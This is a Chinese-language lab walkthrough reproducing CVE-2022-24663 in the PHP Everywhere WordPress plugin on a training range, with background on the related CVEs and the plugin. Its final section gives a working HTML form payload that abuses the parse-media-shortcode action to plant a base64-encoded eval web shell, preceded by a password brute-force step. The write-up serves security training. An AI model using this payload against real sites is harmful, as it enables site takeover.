前言
CVE-2022-24663 是一个影响 WordPress 插件 PHP Everywhere 的远程代码执行(RCE)漏洞。PHP Everywhere 插件允许管理员在页面、文章、侧边栏或任何 Gutenberg 块中插入 PHP 代码,以显示基于评估的 PHP 表达式的动态内容。然而,这个漏洞使得任何订阅者都可以通过发送带有 shortcode
参数设置为 PHP Everywhere
的请求来执行任意 PHP 代码。
漏洞细节:
-
CVE-2022-24663: 这个漏洞允许任何订阅者通过在请求中使用
shortcode
参数来执行任意 PHP 代码。利用此漏洞,攻击者可以注册成为网站的订阅者,然后通过发送特定的请求来在目标站点上执行恶意 PHP 代码,从而可能完全接管站点 (BleepingComputer) (Threatpost)。 -
CVE-2022-24664: 此漏洞允许拥有编辑文章权限的贡献者通过插件的元框执行任意 PHP 代码。攻击者可以创建一篇文章,添加 PHP 代码到元框,然后预览文章以执行代码 (BleepingComputer) (Threatpost)。
-
CVE-2022-24665: 此漏洞允许拥有编辑文章权限的贡献者通过插件的 Gutenberg 块执行任意 PHP 代码。默认情况下,插件的这个设置并不是仅限管理员使用,这使得贡献者级别的用户也可以利用该漏洞 (BleepingComputer) (Threatpost)。
防护措施:
Wordfence 的团队在 2022 年 1 月 4 日发现了这些漏洞,并通知了 PHP Everywhere 的作者。开发者于 2022 年 1 月 10 日发布了 3.0.0 版本的安全更新,该更新通过重大代码重写修复了这些漏洞。建议所有 PHP Everywhere 用户立即升级到最新版本以避免受到攻击 (BleepingComputer) (Threatpost)。
总之,CVE-2022-24663 是一个严重的漏洞,因为它可以被任何具有订阅者权限的用户利用,从而导致网站完全被接管。管理员应该确保插件和网站保持最新状态,以防止此类漏洞的利用。
春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:
实战演练:
提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现:
用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。
教学培训:
提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。
竞赛与评测:
定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。
资源共享:
平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。
春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。
介绍
PHP Everywhere 是一个 WordPress 插件,允许用户在 WordPress 页面、文章、侧边栏或任何 Gutenberg 块中插入和执行 PHP 代码。这个插件非常适合那些需要在其网站上显示基于 PHP 动态内容的用户。以下是 PHP Everywhere 的一些主要功能和特点:
主要功能
-
在页面和文章中嵌入 PHP
- 用户可以在页面和文章的内容中直接嵌入 PHP 代码,这对于需要动态生成内容的网站来说非常有用。
-
侧边栏小工具支持
- 通过侧边栏小工具,用户可以在网站的侧边栏中插入和执行 PHP 代码,实现动态内容显示。
-
Gutenberg 块支持
- 插件支持 Gutenberg 编辑器,允许用户在 Gutenberg 块中嵌入 PHP 代码,使得在区块编辑器中管理 PHP 代码变得简单。
-
短代码支持
- 插件允许使用短代码来执行 PHP 代码,用户只需将 PHP 代码放在
[php]
和[/php]
标签之间即可。
- 插件允许使用短代码来执行 PHP 代码,用户只需将 PHP 代码放在
-
灵活的配置
- 插件提供灵活的配置选项,用户可以根据需要启用或禁用 PHP 代码在不同内容类型中的执行。
安装和使用
-
安装插件
- 用户可以从 WordPress 插件库中搜索并安装 PHP Everywhere 插件,或者通过上传插件 ZIP 文件进行手动安装。
-
启用插件
- 安装后,用户需要在 WordPress 管理后台启用插件,然后在设置中配置 PHP 代码的执行选项。
-
嵌入 PHP 代码
- 在需要嵌入 PHP 代码的地方使用短代码
[php]
和[/php]
,或者通过 Gutenberg 块和侧边栏小工具插入 PHP 代码。
- 在需要嵌入 PHP 代码的地方使用短代码
使用场景
-
动态内容生成
- 对于需要根据不同条件生成动态内容的网站,例如显示用户特定信息或从数据库中获取和显示数据,PHP Everywhere 提供了简便的解决方案。
-
自定义功能
- 网站管理员可以使用 PHP Everywhere 实现一些自定义功能,例如显示特定时间的内容、执行定时任务等。
-
插件和主题开发
- 对于开发者来说,PHP Everywhere 使得在插件和主题开发过程中可以直接在 WordPress 中测试和调试 PHP 代码,而无需在外部环境中进行复杂的部署。
总结
PHP Everywhere 插件为 WordPress 用户提供了在网站中嵌入和执行 PHP 代码的能力,极大地增强了 WordPress 的灵活性和功能性。无论是对于需要动态内容的网站,还是对于开发者来说,这都是一个非常有用的工具。用户应确保从官方渠道下载并定期更新插件,以确保安全性和功能的稳定性。
漏洞复现
打开靶场
靶场页面如下
WordPress 的后台是 /wp-admin,URL 拼接上访问
网上搜索默认用户名密码 admin/password 不对,只能爆破了,得到 test/test
登录后来到这个页面
这里补充一下关于这个 WordPress 插件的知识:
PHP Everywhere 是一个 WordPress 插件,它允许在 WordPress 网站的任意位置(如页面、帖子、小工具和模板文件)执行 PHP 代码。这个插件对于希望在其网站上嵌入动态内容的开发人员和高级用户非常有用。然而,它也带来了安全风险,尤其是在权限控制不当的情况下。
功能和使用
PHP Everywhere 插件的主要功能是通过短代码 [php_everywhere]
使用户能够在 WordPress 内容中插入和执行 PHP 代码。以下是其使用示例:
[php_everywhere]
<?php
echo "Hello, World!";
?>
[/php_everywhere]
当这个短代码被解析时,PHP 代码将被执行,并在前端输出“Hello, World!”。
主要特性
- 短代码支持:使用
[php_everywhere]
短代码在帖子、页面和小工具中执行 PHP 代码。 - PHP 执行:允许在 WordPress 编辑器中直接编写和运行 PHP 代码。
- 动态内容:可通过 PHP 生成动态内容,例如根据用户角色显示不同的内容。
安装与设置
-
安装:
- 通过 WordPress 仪表板中的插件安装功能搜索“PHP Everywhere”并安装激活。
- 或者从 WordPress 插件库下载插件,并通过 FTP 上传到
wp-content/plugins/
目录,然后在仪表板中激活插件。
-
使用:
- 在需要执行 PHP 代码的地方添加
[php_everywhere]
短代码,并在其中编写 PHP 代码。 - 例如,在页面或帖子中添加:
- 在需要执行 PHP 代码的地方添加
[php_everywhere]
<?php
echo date('Y-m-d H:i:s');
?>
[/php_everywhere]
安全性考量
使用 PHP Everywhere 插件会带来以下安全风险:
- 代码执行:允许用户执行任意 PHP 代码,如果没有适当的权限控制,恶意用户可能会执行有害代码。
- SQL 注入:通过 PHP 代码直接访问数据库,可能会引入 SQL 注入漏洞。
- 文件包含攻击:不安全的文件包含可能导致任意文件读取或远程代码执行。
安全实践
- 限制权限:仅授予可信任的管理员用户权限来使用 PHP Everywhere 插件。
- 输入验证:验证和清理所有用户输入,防止注入攻击。
- 代码审查:定期审查和测试使用的 PHP 代码,确保没有安全漏洞。
- 备份:定期备份网站,以防万一遭受攻击,可以迅速恢复。
示例场景
假设你管理一个 WordPress 网站,并希望在首页上显示最新的文章列表,但文章的显示方式需要定制化,而默认的 WordPress 小工具无法满足需求。通过 PHP Everywhere 插件,可以编写自定义 PHP 代码来查询并显示最新的文章:
[php_everywhere]
<?php
$recent_posts = wp_get_recent_posts(array('numberposts' => 5));
foreach ($recent_posts as $post) {
echo '<div><a href="' . get_permalink($post['ID']) . '">' . $post['post_title'] . '</a></div>';
}
?>
[/php_everywhere]
这个代码段将在页面上显示最新的五篇文章,并链接到相应的文章页面。
总结
PHP Everywhere 插件在 WordPress 中提供了强大的功能,允许用户在任意位置执行 PHP 代码,从而实现更高的灵活性和定制化。然而,由于其潜在的安全风险,必须小心使用,确保适当的权限控制和安全措施。通过遵循安全实践,可以有效地利用这个插件的强大功能,同时保护网站的安全性。
看完了现在来构造 payload
<form action="http://eci-2zedi3cdem4rj2z0ju4h.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/webshell.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==")); ?>[/php_everywhere]</textarea>
<input type="submit" value="Execute" />
</form>
<form>
标签:定义了一个表单,使用POST
方法提交数据到指定的 URL,即http://eci-2zedi3cdem4rj2z0ju4h.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php
。action
属性:指定表单数据提交的目标 URL。method="post"
:使用POST
方法提交数据,这通常用于发送包含敏感信息的数据。<input>
标签:定义了一个隐藏的输入字段,提交时会发送名为action
的参数,其值为parse-media-shortcode
。name="action"
:指定输入字段的名称。value="parse-media-shortcode"
:指定输入字段的值。<textarea>
标签:定义了一个多行文本输入字段,提交时会发送名为shortcode
的参数。name="shortcode"
:指定文本区域的名称。- 内容:在
textarea
中包含一个[php_everywhere]
短代码(Shortcode),其中嵌入了 PHP 代码。<?php ... ?>
:PHP 代码块。file_put_contents("/var/www/html/webshell.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=="))
:这个 PHP 代码会在服务器上创建或覆盖/var/www/html/webshell.php
文件,其内容是base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==")
的解码结果。- Base64 解码结果:
<?php @eval($_POST['shell']); ?>
,这是一个 Web Shell,允许攻击者通过POST
请求发送 PHP 代码来远程执行。
右键检查随便选中一段 HTML 内容,点击修改属性
删除并复制粘贴 payload
我们设置的 payload 需要手动点击提交,所以点击按钮
可以看到 success
使用蚁剑远程连接
成功拿到 flag